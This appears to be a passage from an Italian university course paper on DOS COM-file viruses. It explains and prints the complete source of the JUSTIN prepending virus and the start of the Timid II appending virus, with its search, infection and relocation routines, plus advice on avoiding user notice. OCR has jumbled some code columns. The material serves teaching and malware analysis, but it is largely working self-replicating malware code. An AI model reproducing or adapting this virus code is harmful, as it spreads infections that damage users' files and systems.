ret ;modifica la memoria allocata ;setta la necessità di spazio(2*64Kbytes) ;setta C se non c’è abbastanza memoria ;rialloca tutta la memoria disponibile ;BX ha I blocchi disponibili ;ritorna al chiamante Risolta la difficile questione della memoria, justin comincia a operare, quindi salta nel blocco in alto nella memoria 64 Kbytes, sopra, dove venne eseguito inizialmente. Questo è effettuato con JUMP HIGH, che prima mette una copia del virus nel nuovo segmento usando l’istruzione REP MOVSB la quale muove CX bytes da DS:SI in ES:DI. Ora nella memoria il virus comincia da DS:100H e la sua lunghezza sarà data da OFFSET HST –100H Dove OFFSET HOST è l’indirizzo dove il programma ospite comincia, un byte dopo la fine del virus .Tutto lo spostamento viene eseguito mediante il seguente codice: Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” mov mov mov rep 24 si,100H di,OFFSET HOST cx,OFFSET HOST - 100H movsb Successivamente justin muove in su il DTA in questo nuova segmento all’offset 80H utilizzando la funzione del DOS 1AH e la routine JUMP_HIGH passa il controllo alla copia del virus justin in alto al segmento, come mostrato nella figura (3.8): Fig(3.8) Salto al segmento in alto Il virus riceve l’offset dell’indirizzo di ritorno per la JUMP_HIGH fuori dallo stack. Quando la JUMP_HIGH venne chiamata dalla routine di controllo, l’istruzione call mette l’indirizzo dopo essa nello stack , quindi in questo caso 108H. Dopo essersi posizionato nella parte alta del segmento ,justin esegue la ricerca dei possibili file da infettare e l’infezione vera e propria. La routine di ricerca è molto simile a quelle viste per le altre tipologie di COM infecting virus. Essa usa le funzioni di DOS search first e next per trovare i file con l’estensione appropriata COM e l’unica differenza è che chiama una ulteriore routine ,la FILE_OK. Questa serve ad evitare problemi endemici sul codice dello stesso virus. Il problema delle infezioni multiple, infatti è in questo caso molto più rilevante. Si è visto come il MINI-44 fosse molto rude e violento nella sua infettività, sovrascrivendo tutti i COM individuati e il problema che questi fossero infettati più di una volta , non è rilevante in quanto il file è già compromesso alla prima infezione. Il CSpawn risolveva il problema delle infezioni multiple nascondendo il COM file compaio. Per justin le cose si complicano, perché più un file viene infettato, più le sue dimensioni aumentano fino ad arrivare a una soglia in cui non riesce a lavorare. Lo schema logico di ricerca è descritto dalla figura (3.9): Fig (3.9) Ricerca e infezione di JUSTIN Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 25 Nella routine di ricerca è necessario inserire una parte che controlli la già avvenuta infezione e in tal caso cercarne un altro o, se rileva un file sano, infettarlo. La routine FILE_OK si preoccupare di rilevare se un file è o no infettabile in questi termini. Essa apre il file, passatogli dalla FIND_FILE e ne calcola la lunghezza, se è troppo grande , aggiungergli il virus potrebbe farlo andare in crash , e quindi lo evita. La dimensione eccessiva è raggiunta quando JUSTIN non può andare nella parte alta del segmento senza poter trascinare lo stack alla cima del programmaospite. Sebbene JUSTIN non usa troppo lo stack, gli interrupt dell’hardware possono farne uso in qualsiasi momento, quindi un 100Hbytes di stack saranno necessari, quindi per lavorare bene, dovrà valere la regola : (dimensioni di JUSTIN ) + (dimensioni del programma ospite) + (dimensioni del PSP) < 0FF00H Per fare questo la FILE_OK apre il potenziale ospite usando la funzione del DOS 3DH già vista per il MINI-44, tentando di aprirlo in modalità lettura/scrittura quindi: mov mov int dx,9EH ax,3D02H 21H ;indirizzo del file name nel DTA ;apri in modalità lettura / scrittura Se l’apertura fallisce probabilmente il file è di sola lettura e JUSTIN lo eviterà. Per trovare invece le dimensioni del file JUSTIN utilizza un file pointer, che è una variabile integer di quattro bytes, conservata internamente dal DOS che tiene traccia di dove leggerà o scriverà il file. Questo puntatore comincerà puntando al primo bytes in un file appena aperto E verrà avanzato automaticamente dal DOS appena il file è letto o scritto da quel riferimento. La funzione DOS 42H è usata per spostare il puntatore a qualsiasi punto desiderato, impostando il registro BX col numero di file handle e CX:DX deve contenere un numero integer di 32 bit che specifichi dove muovere il puntatore . Ci sono tre modalità di utilizzo di questa funzione, impostate dal valore di AL, se AL è posto a 0il file pointer è settato all’inizio del file, se AL è uguale a 1 viene incrementato in relazione alla posizione corrente, se AL è posto a 2 CX:DX sono usati come offset dalla fine del file. Quando la 42H da il valore di ritorno, fornisce anche il valore corrente del file pointer (relativo all’inizio del file)nella coppia di registri DX:AX, quindi per trovare le dimensioni del file bisogna settare il puntatore al file alla fine del file: mov ax,4202H xor cx,cx xor dx,dx int 21H ;ricerca relativa alla fine ;cx:dx=0 ;l’offset dalla fine e il alore che ci si ritrova in DX:AX sarà proprio la lunghezza del file.FILE_OK deve successivamente controllare questo valore e verificare che non ecceda; se DX=0, il file occuperà più di 64Kbytes e sarà troppo grande: or jnz dx,dx FOK_EXIT_C ;dx = 0? ;no, esci con C settato Allo stesso modo , se sommiamo OFFSET HOST al contenuto del registro AX , ed è maggiore di 0FF00H , il file sarà troppo grande: add ax,OFFSET HOST cmp ax,0FF00H ja FOK_EXIT_C ;aggiungi la dimensione del virus + PSP ;è troppo grande ? ;se si esci con C settato Se tutte le operazioni precedenti hanno esito positivo, quindi il file è infettabile senza problemi, il controllo successivo sarà di leggere tutto il file in memoria per esaminare il contenuto. Il file viene quindi caricato appena dopo il virus nella parte alta del segmento, in questo modo il virus crea un’immagine del file infetto in memoria, come mostrato in figura (3.10) e tutto ciò che rimane da fare è scrivere questa immagine sul disco. Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 26 figura (3.10) JUSTIN crea l’immagine del file infettato Per leggere il file nella memoria, si deve prima muovere indietro il puntatore al file all’inizio di questo, con la funzione del DOS 42H,sottofunzione 0: mov ax,4200H xor cx,cx xor dx,dx int 21H ;muovi il file ;0:0 relativo dall’inizio Successivamente, usando la funzione DOS 3FH, si legge il file nella memoria, ma prima si setta BX uguale al numero di file handle e CX al numero di bytes che si intendono leggere dal file; DS:DX sono impostati con la posizione in memoria in cui i dati letti dovranno essere posti: pop cx ;cx contiene la dimensione dell’ospite push cx ;lo salva per usarlo dopo mov ah,3FH ;prepara la lettura del file mov dx,OFFSET HOST ;nella locazione dell’ospite int 21H ;do it Prima di effettare l’infezione , JUSTIN esegue all’interno della routine FILE_OK due controlli in più, il primo è controllare che il file non sia già infetto e lo fa comparando i primi 20 bytes dell’ospite con i suoi stessi primi 20 bytes. Se questi risultano uguali il file è già stato precedentemente infettato e l’implementazione di questo controllo molto semplice: mov mov mov repz si,100H di,OFFSET HOST cx,10 cmpsw Il secondo controllo verte su una inusuale abitudine del DOS 6.0, che controlla il programma per vedere se ha una struttura di EXE valido e anche se e nominato “COM” e ha una struttura EXE, il DOS lo carica come EXE. Questo può essere un problema se il parasistic virus non riconosce lo stesso file come un EXE e lo scansa. Se un virus di tale tipo attacca un file con una struttura EXE il DOS non lo riconoscerà più come tale , e lo caricherà come un file COM . Il virus viene quindi eseguito correttamente ma poi cercherà di restituire il controllo a un EXE (una struttura dati) invece che a un programma binario valido e questo può portare alla sospensione del sistema. Questo controllo è facilmente implementabile e la FILE_OK di JUSTIN lo effettua in questo modo: cmp WORD PTR [HOST],'ZM' La routine chiuderà poi il file se non è un ospite valido o lo lascia aperto, con l’handle nel registro BX se può essere infettato. L’infezione avviene in modo semplice, una volta che FIND_FILE ha trovato il file giusto e l’immagine del file infetto è già in memoria, scrivendo questa sul disco. JUSTIN resetta il file pointer all’inizio del file e usa la funzione del DOS 40H per scrivere l’ospite infetto nel file. La dimensione dell’ospite viene passata alla INFECT_FILE da FILE_OK nel Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 27 registro DX e BX contiene ancora il file handle , quindi INFECT_FILE somma la lunghezza del virus alla lunghezza del file ospite, OFFSET HOST –100H e comincia a scrivere dall’offset 100H nella parte alta del segmento: pop cx add cx,OFFSET HOST - 100H mov dx,100H mov ah,40H int 21H ;dimensioni originali dell’ospite al cx ;gli aggiunge la dimensione del virus ;inizio dell’immagine infetta ;scrive il file L’ultima attività che JUSTIN deve svolgere è quella di eseguire il programma ospite originario al quale il virus è attaccato e che ritrova nella parte bassa del segmento. Il nuovo ospite, che è appena stato infettato, è posto nella zona alta del segmento, dove il virus viene eseguito. Quindi per eseguire l’originale , bisogna spostarlo dall’OFFSET HOST all’offset 100H, dove sarebbe stato caricato dal DOS, in condizioni di stato non infetto. Dal momento che JUSTIN non conosce quanto fosse esteso l’ospite originario, deve spostare tutto il codice dall’offset OFFSET HOST fino alla fine del segmento di stack ,come viene presentato in fig(3.11) . La cosa importante di questa operazione è che il virus non deve spostare tutto il blocco sullo stesso stack ,altrimenti questo verrebbe interamente consumato e potrebbe causare un crash del sistema. Infine JUSTIN trasferisce il controllo all’ospite. Il codice per implementare l’esecuzione è il seguente: mov mov mov mov mov push push mov sub rep retf di,100H si,OFFSET HOST ax,ss ds,ax es,ax ax di cx,sp cx,OFFSET HOST movsb ;muove l’ospite in basso nella memoria ;ss punta al segmento in basso ;imposta ds e es per puntare in quella posizione ;esce l’indirizzo di ritorno ;per eseguire l’ospite in un secondo momento ;cx = bytes da muovere ;muove l’ospite all’offset 100H ;e lo esegue Fig(3.11) Spostamento del codice ospite Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 28 Un caso particolare che JUSTIN deve gestire è quando non c’è abbastanza memoria per creare il segmento. In tal caso deve spostare il codice ospite all’offset 100H senza operare in un nuovo segmento. Questo potrebbe essere un problema perché quando il virus sposta l’ospite, sovrascrive se stesso. Per completare lo spostamento e trasferire il controllo all’ospite JUSTIN deve scrivere dinamicamente il codice in uno spazio sicuro, dove non verrà soprascritto.Le uniche due zone libere e sicure sono il PSP e lo stack. JUSTIN usa il secondo con questo codice : mov push mov push ax,00C3H ax ax,0A4F3H ax ;mette "ret" sullo stack ;mette "rep movsb" sullo stack JUSTIN imposta dinamicamente alcune istruzioni ,mostrate di seguito, appena sotto lo stack : rep ret movsb ;muove l’ospite ;e lo esegue In seguito muove lo stack in alto, sopra queste istruzioni : add sp,4 Qui troviamo due parole nello stack: [0100H] [FFF8H] La prima è l’indirizzo 100H usato per tornare dalla subroutine appena piazzata nello stack all’offset 100H, dove andrà poi il codice ospite. Il secondo è l’indirizzo della routine nascosta sotto lo stack. JUSTIN ritornerà a essa, la eseguirà e poi ritornerà all’ospite, come indicato in figura (3.12) : Fig (3.12) Struttura dello stack per lo spostamento Di seguito viene riportato il codice dell’intero virus JUSTIN, come esempio di parasistic virus che si inserisce prima del codice del file COM utilizzato come ospite: ;(C) 1994 American Eagle Publications, Inc. All Rights Reserved! .model small .code org 0100H JUSTIN: call CHECK_MEM jc GOTO_HOST_LOW call JUMP_HIGH call FIND_FILE jc GOTO_HOST_HIGH call INFECT_FILE GOTO_HOST_HIGH: mov di,100H ;C’è abbastanza memoria per avviarsi? ;no ,esci all’ospite ;vai al prossimo blocco di memoria di 64K ;trova un file da infettare ;se non lo trova ,torna all’ospite ;infetta il file trovato ;sposta l’ospite in basso nella memoria Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” mov si,OFFSET HOST mov ax,ss mov ds,ax mov es,ax push ax push di mov cx,sp sub cx,OFFSET HOST rep movsb retf ;ss punta al segmento basso ;imposta ds e es per puntare in questa posizione ;mette l’indirizzo di ritorno ;per eseguire l’ospite (da usare poi) ;cx = bytes da spostare ;muove l’ospite all’offset 100H ;e lo esegue ;Questa parte è eseguita solo se JUSTIN non ha abbastanza memoria per poter procedere con l’infezione ;Sposta il codice per muovere l’ospite in basso nello stack, e poi salta a esso . GOTO_HOST_LOW: mov ax,100H ;mette 100H ret address nello stack push ax mov ax,sp sub ax,6 ;ax=inizio delle istruzioni dello stack push ax ;indirizzo a cui saltare mov push mov push ax,000C3H ax ax,0A4F3H ax ;mette "ret" sullo stack ;mette "rep movsb" sullo stack mov si,OFFSET HOST mov di,100H mov cx,sp sub cx,OFFSET HOST ;imposta si e di ;pronto per lo spostamento ;imposta cx cli add ;hw ints off ;sistema lo stack sp,4 ret ;va al codice dello stack ;Questa routine controlla la memoria per vedere se c’è abbastanza spazio per eseguire correttamente JUSTIN ;Se non è così ,ritorna con il carry impostato CHECK_MEM: mov ah,4AH ;modifica la memoria allocata mov bx,2000H ;vogliamo 2*64K int 21H ;imposta il carry se non c’è abbastanza memoria pushf mov ah,4AH ;ri-alloca tutta la memoria disponibile mov bx,0FFFFH int 21H mov ah,4AH int 21H popf ret ;e ritorna al chiamante ;Questa routine salta sopra al blocco di 64K dove il virus comincia l’esecuzione . ;Imposta tutti i regostri del segmento ,per poi puntarvi, e sposta il DTA all’offset 80H in quel segmento. JUMP_HIGH: mov ax,ds add ax,1000H mov es,ax mov si,100H mov di,si ;ds punta al segmento corrente ;es punta 64Kbytes più in alto ;di = si = 100H 29 Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” mov cx,OFFSET HOST - 100H rep movsb mov ds,ax mov ah,1AH mov dx,80H int 21H pop ax push es push ax retf ;cx = bytes da muovere ;copia il virus più in alto del blocco ;imposta ds al segmento in alto ;muove il DTA ;al ds:80H (segmento in alto) ;ritorna fuori dallo stack ;mette il segmento alto di memoria nello stack ;mette il ritorno indietro ;La routine seguente cerca un file COM non ancora infetto e ritorna con il carry resettato se ne trova uno ;La ricerca coinvolge solo la directory corrente FIND_FILE: mov dx,OFFSET COM_MASK ;cerca i COM file mov ah,4EH ;funzione del DOS find first file xor cx,cx ;CX conserva tutti gli attributi del file FIND_LOOP: int 21H jc FIND_EXIT ;esce se non trova file call FILE_OK ;il file è OK per l’infezione? jc FIND_NEXT ;no, ne cerca un altro FIND_EXIT: ret ;altrimenti torna FIND_NEXT: mov ah,4FH ;funzione del DOS find next file jmp FIND_LOOP ;prova a cercare un altro file COM_MASK db '*.COM',0 ;search mask del COM file ;La seguente routine determina se un file è adatto per essere infettato. Ci sono ;molti criteri che devono essere soddisfatti per avviare l’infezione del file ; ; 1. Si deve poter scrivere il file (apertura in read/write conclusa con successo) ; 2. Il file non deve essere troppo grande ; 3. Il file non deve essere già stato infettato ; 4. Si deve verificare che il file non sia un EXE ; ;Se questi criteri sono soddisfatti ,la FILE_OK ritorna con il carry resettato e il file aperto con ;handle posto nel registro bx e la dimensione originale in dx . Se anche una richiesta fallisce , FILE_OK ;ritorna con il carry fissato. FILE_OK: mov dx,9EH ;offset del nome del file nel DTA mov ax,3D02H ;apertura del file, in modalità lettura/scrittura int 21H jc FOK_EXIT_C ;se l’apertura fallisce torna col carry settato mov bx,ax ;altrimenti metti habdle in BX mov ax,4202H ;cerca la fine del file xor cx,cx ;spostamento da end = 0 xor dx,dx int 21H ;dx:ax contiene la dimensione del file jc FOK_EXIT_CCF ;esce se fallisce or dx,dx ;se la dimensione del file > 64K,esce jnz FOK_EXIT_CCF ;con carry settato mov cx,ax ;mette la dimensione del file anche in cx add ax,OFFSET HOST ;somma JUSTIN + dimensione del PSP all’ospite cmp ax,0FF00H ;ci sono 100H bytes per lo stack? jnc FOK_EXIT_C ;se no, esci con carry settato push cx ;salva la dimensione del file per usarla in un secondo momento mov ax,4200H ;reimposta il file pointer xor cx,cx xor dx,dx ;all’inizio del file 30 Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” int pop push mov mov int pop jc mov mov mov repz jz cmp jz clc ret 21H cx cx ah,3FH ;prepara la lettura del file dx,OFFSET HOST ;nella posizione dell’ospite 21H ;esegue dx ;la dimensione dell’ospite è ora in DX FOK_EXIT_CCF ;esce con il carry settato se fallisce si,100H ;controlla i 20 bytes per vedere di,OFFSET HOST ;se il file è già stato infettato cx,10 cmpsw ;esegue FOK_EXIT_CCF ;se già infetto esce a questo punto WORD PTR cs:[HOST],'ZM' ;controlla se è un EXE FOK_EXIT_CCF ;se si esce con il carry settato ;è tutto OK allora pulisce il carry ;ed esce FOK_EXIT_CCF: mov int 21H FOK_EXIT_C: stc ret ah,3EH ;chiude il file ;imposta il carry ;e ritorna ;Questa routine infetta il file allocato da FIND_FILE. INFECT_FILE: push dx mov ax,4200H xor cx,cx xor dx,dx int 21H pop cx add cx,OFFSET HOST - 100H mov dx,100H mov ah,40H int 21H mov ah,3EH int 21H ret ;In questa posizione comincia il programma ospite. HOST: mov ax,4C00H int 21H end 31 JUSTIN ;esce al DOS ;salva le dimensioni originali del file ;riposiziona il file pointer ;all’inizio del file ;pone la dimensione origina le del file in CX ;e vi aggiunge la dimensione del virus ;inizio dell’immagine infetta ;scrive il file ; e lo chiude ;e poi esce Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 32 3.7 Parasistic Virus ( TIMID II ) Il virus JUSTIN è un buon esempio di parasistic virus che attacca i .COM e che si insedia all’inizio del codice ospite, tuttavia, come già accennato, esiste un’altra categoria di non-resident parasistic virus, vale a dire quelli che si posizionano alla fine del programma ospite. Un esempio che si comporta in tal modo è il Timid II virus, che è molto virulento, più di tutti gli altri virus descritti, in quanto può letteralmente sfuggire, saltando da un directory all’altra. I virus non distruttivi che infettano i .COM devono essere eseguiti in genere prima dell’ospite, anche perché una volta che l’ospite ha il controllo ,non si può dire nulla su cosa possa fare, cioè può modificare lo stack, può sovrascrivere il virus con dei dati, può andare in memoria. I virus che cercano di posizionarsi all’interno del codice ospite o che si eseguono dopo questo, devono conoscere bene il comportamento del programma host e questo è impossibile se il virus vorrebbe infettare qualsiasi programma; così in ogni caso è necessario che il virus venga eseguito prima ,in modo da conoscere le modifiche apportate alla memoria e al sistema, dal codice ospite. Poiché un programma di tipo COM viene eseguito sempre a partire dall’offset 100H (che corrisponde all’inizio di un file), un parasistic virus deve modificare l’inizio (in genere pochi bytes) di un qualsiasi codice che esso infetta, tipicamente sostituendo con un’istruzione JUMP, che provoca un salto all’inizio del virus, anche se lui stesso si trova alla fine del file. Fig (3.13) Fig (3.13) Attività del virus Timid II Il problema principale con il timid II virus è che il suo codice cambia posizione quando infetta un nuovo file. Se per esempio infettasse un .COM lungo 1254H bytes, verrà eseguito a partire dall’offset 1352H, successivamente se infetta un file di 2993H bytes il nuovo punto di esecuzione sarà 2A93H. Questi cambiamenti di offset sono realizzati sempre con salti brevi e a indirizzi vicini e le chiamate sono effettuate con i relativi indirizzamenti, quindi non c’è di fatto nulla di nuovo. Per esempio consideriamo la subroutine CALL_ME: cs:180 cs:183 call CALL_ME ... cs:327 CALL_ME: ... ... ret Supponiamo che CALL_ME sia collocata all’offset 327H e la chiamata a 180H. Quindi la chiamata avrà codice E8 A4 01 di cui la prima (E8) è l’op-code per la call e la parola 01A4H è la distanza della routine CALL_ME dall’istruzione seguente la chiamata : Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 33 1A4H = 327H - 183H Poiché la chiamata riferisce solo la distanza tra il corrente IP e la routine da chiamare, questa parte di codice può essere spostata a qualsiasi offset e continuare comunque a lavorare correttamente. Questo è detto indirizzamento relativo (relative addressing). Diversamente nel processore 80x86 l’accesso diretto ai dati è realizzato con l’indirizzamento assoluto. Per esempio il codice : mov dx,OFFSET COM_FILE COM_FILE db '*.COM',0 Caricherà il registro DX con l’indirizzo assoluto della stringa COM_FILE. Se questa struttura viene usata in un virus che cambia offset continuazione, molto probabilmente andrà in crash. Non appena il virus comincia spostamento a qualsiasi offset eccetto quello in cui fu originariamente compilato, l’offset messo nel registro DX non punterà più alla stringa “*.COM” ma può puntare a qualche dato non inizializzato o all’interno dell’ospite, come mostrato in fig (3.14): Fig (3.14) Problema dell’indirizzamento assoluto Ogni virus posto alla fine di un file .COM deve lottare con il problema di indirizzare i dati indirettamente. Una tipica soluzione è di visualizzare quale offset il codice stia eseguendo al momento e salvare il valore ottenuto in un registro, quindi poi si potrà accedere ai dati usando questo registro insieme all’offset assoluto. Per esempio : GET_ADDR: call GET_ADDR pop di sub di,OFFSET GET_ADDR ;mette OFFSET GET_ADDR nello stack ;ottiene questo offset nel di ;sottrae il valore carica il registro DI con un valore di rilocazione che può essere usato per accedere ai dati in modo indiretto. Se GET_ADDR è alla stessa posizione nella quale era stato compilato quando avvenne la chiamata, DI finirà col diventare zero. Nell’altro caso, se esso viene spostato, il valore messo nello stack sarà la posizione corrente del GET_ADDR e non il valore occupato al momento della sua compilazione. Per ottenere un dato si può procedere così : lea dx,[di+OFFSET COM_FILE] al posto di mov dx,OFFSET COM_FILE oppure mov ax,[di+OFFSET WORDVAL] piuttosto che mov ax,[WORDVAL] Quindi questa operazione può essere effettuata in più modi e senza troppe difficoltà, tuttavia è essenziale per evitare il crash del sistema. Un alternativa importante per avere dati “assoluti”, nel rilocamento del codice è di immagazzinare temporaneamente i dati in un stack frame. Questa tecnica è abbastanza usuale nei programmi ordinari per creare dati temporanei da usare in una singola routine durante l’esecuzione e il virus in causa usa questa strategia. Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 34 Per creare lo stack frame si sottrae semplicemente un certo numero dal registro SP per abbassare lo stack, e poi si usa il registro BP per accedere ai dati. Il codice seguente ne è un esempio : push sub mov bp sp,100H bp,sp ;salva il vecchio bp ;sottrae 256 bytes dallo sp ;pone bp = sp e crea un blocco di 256 bytes che può essere usato liberamente dal programma e quando non serve più è sufficiente ripulire lo stack e impostarlo alle origini: add pop sp,100H bp ;ripristina sp al valore originario ;e ripristina anche bp Per indirizzare i dati dallo stack frame, si usa il registro BP ,in questo modo : mov [bp+10H],ax così mette AX al bytes 10H e 11H nell’area dati dello stack .Il timid II virus utilizza esattamente queste tecniche per risolvere il problema della rilocazione del codice. Il timid II virus è progettato per infettare 10 file ogni volta che viene eseguito e questo valore è un parametro che può essere aumentato fino a 256. La routine di ricerca, SEARCH_DIR è molto più complessa di quelle fino ad ora viste in quanto il virus è in grado di ricercare tutti i file .COM da infettare nella directory corrente, e nella subdirectory di questa, fino alla profondita nel file system voluta. La SEARCH_DIR dovrà quindi essere una funzione ricorsiva ed avere uno schema logico come quello mostrato in figura (3.15): SEARCH DIR Fig (3.15) Schema logico di ricerca del virus SEARCH DIR Rendere la routine di search ricorsiva è strettamente necessario per mettere il DTA nello stack, usato come area per dati temporanei. Il DTA è utilizzato dalle funzioni del DOS, Search First e Search next, quando per esempio la SEARCH_DIR sta cercando una directory, trova una subdirectory e deve quindi uscire e non perdere la sua posizione, Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 35 nella directory corrente. La SEARCH_DIR risolve il problema togliendo 43H bytes allo spazio dello stack e creando uno stack frame : push sub mov bp sp,43H bp,sp ;imposta lo stack frame ;sottrae la dimensione del DTA necessaria poi setta il DTA usando la funzione del DOS 1AH : mov mov int dx,bp ah,1AH 21H ;mette il DTA nello stack Da questo punto ,la SEARCH_DIR può agire come meglio crede ,senza dare fastidio a una precedente copia di sè, se questa ci fosse e a condizione che il DTA venga resettato dopo ogni chiamata a essa relativa. Per poter realizzare una doppia ricerca, SEARCH_DIR cerca ogni directory per ogni file usando la stringa *.*, con gli attributi della directory posti nel registro CX. Questa procedura rivela tutte le subdirectory come se fossero file normali ,includendo i file .COM. Quando la funzione di ricerca del DOS ritorna (perché ha trovato qualcosa), la SEARCH_DIR controlla gli attributi del file appena trovato e se è una directory, chiama la FILE_OK per vedere se il file è infettabile. La FILE_OK controlla per prima cosa che il file sia di tipo .COM ignorando per ora qualsiasi altra cosa. La routine INFECT_FILES lavora insieme alla SEARCH_DIR definendo il comportamento del virus Timid II, infatti la prima agisce come una routine di controllo per la seconda, chiamandola due volte. INFECT_FILES comincia settando INF_CNT a 10, cioè il numero di file che vorrebbe infettare e DEPTH a 1, cioè il livello di profondità a cui la ricerca vuole arrivare. Poi la SEARCH_DIR viene chiamata per cercare la directory corrente e tutte le sue immediate subdirectory. Se alla fine di questo processo non sono stati infettati i dieci file previsti ,la INFECT_FILES cambia directory andando alla root e, impostando DEPTH=2 , chiama la SEARCH_DIR ancora una volta. In questo modo si può partire dalla directory radice e successivamente scendere alle sue immediate subdirectory estendendo moltissimo il raggio d’azione del virus. Questi parametri ,cioè il numero di file bersaglio e la profondità della ricerca, vanno scelti però tenendo conto che ricerche troppo approfondite richiedono troppo tempo e questo è un male in quanto potrebbe attirare l’attenzione dell’utente, cosa che un buon virus deve evitare. Quindi ,si devono scegliere valori che stiano in un compromesso ,che rendano il virus efficace ma non troppo lungo nell’esecuzione. La routine di controllo FILE_OK ,che verifica se i file possono o meno essere infettati ,non è così diversa da quella vista per il virus JUSTIN ,con l’unica differenza che ora il virus è posizionato alla fine dell’ospite, quindi dovrà leggere l’inizio del codice ospite e confrontarlo col codice virus per vedere se è già stato infettato. Ricordando che nel Timid II virus i primi pochi bytes del programma ospite sono sostituiti dall’infezione con un salto al codice del virus, la FILE_OK può controllare se la prima istruzione del file in esame è un salto, se così è il programma è già stato infettato, altrimenti è un ottimo candidato. Ci sono due tipi di istruzioni jump in un file .COM, near jump ,che ha un range di 64Kbytes e short jump che permette invece salti di soli 128bytes. Il Timid II virus usa sempre un near jump per ottenere il controllo ,quando il programma comincia, altrimenti non potrebbe infettare i file .COM ,con dimensioni maggiori di 128 bytes (condizione piuttosto limitante). Un near jump è rappresentato in linguaggio macchina con E9 Hex , seguito da due bytes che specificano alla CPU quanto è lungo il salto. Quindi il primo esame da fare è verificare che il primo byte nel file sia E9 Hex, se invece c’è qualsiasi altra cosa il file è adatto a essere infettato. Questo controllo tuttavia potrebbe risultare insufficiente e far bypassare al virus molti file COM invece adatti, ma contenenti un’istruzione jump all’inizio, già nella loro versione originale e non infettata. Quindi si cambia in testa al codice una coppia in più di bytes, in quanto la near jump richiede tre bytes e prendendone ancora due, codificandoli in un unico op-code, il virus può essere sicuro che il file è già infetto se questi bytes sono correttamente codificati (“VI”). In tal modo se un file comincia con un near jump segito da”V” = 56H e “I” = 49H sappiamo che il virus è presente e dove questa forma di codice non è presente come inizio del file, questo non è infetto. Il meccanismo di copiatura prevede che il virus piazzi il suo codice alla fine del file COM a cui è collegato, impostando un file pointer alla fine del file. Questo è molto facile da effettuare, si imposta CX:DX = 0, AL = 2 e si chiama la funzione di DOS 42H (il file di aggancio è preso in BX tutte le volte): xor mov mov int cx,cx dx,cx ax,4202H 21H Con il file pointer impostato correttamente, il virus può trascrivere sé stesso alla fine del file usando la funzione DOS write ,40 Hex. Prima di usarla, però, deve settare DS:DX con la posizione in memoria dove i dati sono posti e CX con il numero di bytes da scrivere. Dopo queste operazioni e con il codice del virus attaccato alla fine del file COM sotto attacco, il virus deve fare un po’ di “pulizia”. Deve muovere i primi cinque bytes del file COM in una area di immagazzinamento nel codice virus, poi porre una istruzione di salto più la il codice di lettere “VI” all’inizio del file .Appena il timidII legge i primi bytes del COM nella routine di ricerca, questi sono pronti e aspettano l’intervento della Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 36 START_IMAGE e hanno solo bisogno di essere scritti fuori dal disco nella posizione corretta .Nel virus esistono solo due zone separate per caricare cinque bytes del codice, la START_IMAGE, per inserire i dati dai file che vuole infettare e la START_CODE, che contiene questi cinque bytes .Senza START_CODE il virus non sarà in grado di trasferire il controllo al programma ospite : Fig (3.16) START_IMAGE e START_CODE Per scrivere i primi cinque bytes del file sotto attacco, il virus prende i cinque bytes dallo START_IMAGE, e li mette dove lo START_CODE è posto sul disco (Fig 3.16) e imposta il file pointer a questa posizione. Per risalire a questo indirizzo prende la dimensione originale del file (memorizzata a DTA+1AH dalla search routine) e vi aggiunge OFSET START_CODE –OFSET VIRUS, muovendo il puntatore al file rispetto all’inizio de file: xor lea add mov int cx,cx dx,[bp+1AH] dx,OFFSET START_CODE - OFFSET VIRUS ax,4200H 21H Successivamente il virus scrive i cinque bytes ,dalloSTART_IMAGE al file : mov lea mov int cx,5 dx,[di + OFFSET START_IMAGE] ah,40H 21H Il passo successivo è impostare il salto successivo ai cinque bytes all’inizio del codice del virus, insieme alle lettere del codice di identificazione “VI”, posizionando il puntatore del file all’inizio del file stesso: xor mov mov int cx,cx dx,cx ax,4200H 21H Provvede poi a creare un area dati in memoria con le informazioni giuste per scrivere all’inizio del file. START_IMAGE è in ottimo spazio per impostare questi bytes e il primo bytes è una istruzione di near jump, E9 Hex: mov BYTE PTR [di+START_IMAGE],0E9H I prossimi due bytes dovranno costituire una parola per comunicare alla CPU la dimensione in bytes del salto e sarà determinata dalla somma della dimensione del file originale del programma ospite, più il numero di bytes nel virus che erano precedentemente l’inizio del codice eseguibile. Si deve anche sottrarre tre da questo numero perché il salto relativo è sempre riferito al corrente puntatore di istruzione, che punterà a 103H quando il salto è attualmente eseguito quindi : Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” mov add mov 37 ax,WORD PTR [DTA+1AH] ax,OFFSET VIRUS_START - OFFSET VIRUS - 3 WORD PTR [di+START_IMAGE+1],ax Infine il virus imposta la stringa di identificazione “VI”nell’area dati dei cinque bytes: mov WORD PTR [di+START_IMAGE+3],4956H ;'VI' e scrive i dati all’inizio del file usando la funzione del DOSA write : mov cx,5 lea dx,[di+OFFSET START_IMAGE] mov ah,40H int 21H infine chiude il file completando la procedura di infezione: mov ah,3EH int 21H Di seguito si può vedere l’intero codice del Timid II virus, esempio di parasistic virus che si pone alla fine del file .COM che infetta e che è in grado di saltare da una directory a un’altra: ;(C) 1994 American Eagle Publications, Inc. All Rights Reserved! ; .model tiny .code ORG 100H ;Questa è un programma che rilascia il virus nel sistema. ;e salta alla routine del virus ,che fa il suo lavoro e poi ritorna a esso ;che termina al DOS HOST: jmp NEAR PTR VIRUS_START db 'VI' db 100H dup (90H) mov ax,4C00H int 21H ;forza il salto ;termina normalmente col DOS VIRUS: ;questa è l’indice del primo bytes del virus ALLFILE DB '*.*',0 START_IMAGE DB 0,0,0,0,0 ;cerca la stringa per trovare il file VIRUS_START: call GET_START GET_START: pop di sub di,OFFSET GET_START call INFECT_FILES EXIT_VIRUS: ;assume l’indirizzo d’inizio,questo è un modo per ;determinare la posizione dell’inizio di questo programma Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” mov ah,1AH mov dx,80H int 21H mov si,OFFSET HOST add di,OFFSET START_CODE push si xchg si,di movsw movsw movsb ret ;reimposta il DTA 